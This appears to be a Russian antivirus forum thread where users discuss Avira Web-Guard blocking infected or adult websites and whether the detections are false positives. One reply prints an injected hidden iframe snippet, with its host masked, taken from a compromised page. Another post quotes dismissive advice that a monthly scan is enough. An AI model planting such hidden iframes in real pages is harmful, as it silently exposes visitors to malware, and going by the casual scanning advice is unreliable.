Перейти к содержанию
3TE116

Avira Antivir Premium vs сайты

Recommended Posts

3TE116

Открыл темку в которой предлагаю обсуждать,как Web-Guard работает по отношению к сайтам.Фолсы и всё такое...

Вот на сайте

altfast.ru

обнаружил такой вот malware.Скопирывал из репорта.

When accessing data from the URL, "http://alt-host.net/"

a virus or unwanted program 'HTML/Infected.WebPage.Gen' [virus] was found.

Action taken: Blocked file

Скинул в карантин,но при повторном загрузке ругается.Это фолс или правда малвар там есть????

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Alex_Goodwin

Дык правильно ругается - сайт проинфреймен.

</body></html>    <!-- ~ --><iframe src="http://***/in.cgi?3" width="0" height="0" style="display:none"></iframe><!-- ~ -->

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
3TE116

На сайте одном при нажатии там открывается порно-страница

http://www.superbig.info/

Заблокировал это в Web-Guard теперь не мучает всплывание страницы.

Тестим дальше.

UPD:. Заблокировал посещение порно раздела на одном форуме - всеравно зашлоhuh.gifglare.gif,почему?

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
3TE116

Вообщем это не в первый раз.

When accessing data from the URL, "http://justgamez.net/"

a virus or unwanted program 'HTML/Infected.WebPage.Gen' [virus] was found.

Action taken: Move file to quarantine

Многие скажут читай выше,там всё сказано.А как тогда например так,иногда тот сайт работает и Вэб-Гвард иногда молчит :unsure: .

А тут уже несколько дней зайти не могу :blink: .

Апдейт...

http://www.superbig.info/

.Помните я о нём выше говорил.Всеравно открывается и получается,что Вэб-Гвард его не блокирует <_< ,обидно :unsure:

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
3TE116

Попутно нашёл ещё инфы,что тоже интересноyes.gif

Конкретно, по классификации Avira:

HTML/Infected.WebPage.Gen [virus] - троянчик (A common attack against the web infrastructure can be the infection of harmless web pages. Some malware changes every HTML file stored on the disc and adds a link (very often an IFrame) to a site hosting malicious code. Other attacks can aim for the web servers and try to insert forwarding to the pages hosted there.)

HTML/Crypted.Gen [virus] - троянчик (To avoid detection by antivirus software, authors of HTML malware use browser features like Java and VisualBasic Script. These scripts are small and very often quite simple encryption routines hiding the malicious parts of the script. Encrypted malware is detected as HTML/Crypted.Gen.)

HEUR/HTML.Malware [heuristic] - эвристический модуль считает это эксплойтом, отправлено на анализ.

JS/Dldr.Iframe.BR [virus] - даунлоадер, описания нет, но из предыдущего и так понятно.

Предполагаю,что первый в этом списке вирус попав на комп,загружает дополнительные вирусы в этом списке.Может на компе первый бы и выглядел фолсом,но учитывая остальных,то это уже плохие признаки подарков с сайтов.

И ещё нашёл

Ничего ненадо делать. Сканируй комп раз в месяц и смотри что бы зонтик всегда открыт был. Он у меня тоже стоит и бываю я в таких местах, что тебе не снилось и никаких проблем с компом. Аську ещё никто троем не угнал и все пароли в целости и сохранности. Это я к тому, что не бойся сильно вирей они платы давно не форматируют)

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
pROCKrammer

3TE116

1е 3 детекта это ИМХО ФОЛС )))

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
3TE116

У меня был только один детект и до сих пор на сайт не пускает

When accessing data from the URL, "http://justgamez.net/"a virus or unwanted program '[b]HTML/Infected.WebPage.Gen[/b]' [virus] was found.Action taken: Move file to quarantine

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
3TE116

Из настроек убрал галочку с фишинга.Даже без этого на тот сайт не пускаетsad.gifhuh.gifglare.gif

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

  • Сообщения

    • Ego Dekker
    • ArktiTig
      Арктика - северная полярная область Земли, включающая окраины материков Евразии и Северной Америки, почти весь Северный Ледовитый океан с островами и прилегающие к нему части Атлантического и Тихого океанов. Название её происходит от греческого слова arctos (медведь) и связано со звёздами: Полярная звезда, находящаяся почти точно в зените над Северным полюсом, принадлежит к созвездию Малая Медведица.
    • ArktiTig
      Арктика - северная полярная область Земли, включающая окраины материков Евразии и Северной Америки, почти весь Северный Ледовитый океан с островами и прилегающие к нему части Атлантического и Тихого океанов. Название её происходит от греческого слова arctos (медведь) и связано со звёздами: Полярная звезда, находящаяся почти точно в зените над Северным полюсом, принадлежит к созвездию Малая Медведица.
    • PR55.RP55
      .xml  файлы taskschd.msc Могут быть подписаны  цифровой подписью. Думаю будет нелишним, если uVS будет это фиксировать. т.е. проверять не только подпись целевого файла, но и подпись самого файла\задачи. и писать в ИНфО .  
    • demkd
      ---------------------------------------------------------
       4.15.2
      ---------------------------------------------------------
       o Исправлена ошибка при работе с образом автозапуска.
         Для некоторых процессов команда unload не добавлялась в скрипт при нажатии кнопки "принять изменения".  o Добавлена плашка окна на таскбаре для окна удаленного рабочего стола.
         (при работе с удаленной системой) -----------------------------------------------------------
      Есть проблема с локализацией глюка в редких случаях приводящему к аварийному завершению uVS при активном флаге "Проверять весь HKCR".
      На основе дампов его найти не получается, нужна копия реестра системы с такой проблемой, если кому-то попадется такая проблема, то присылайте архив с копией реестра системы мне на почту.  
×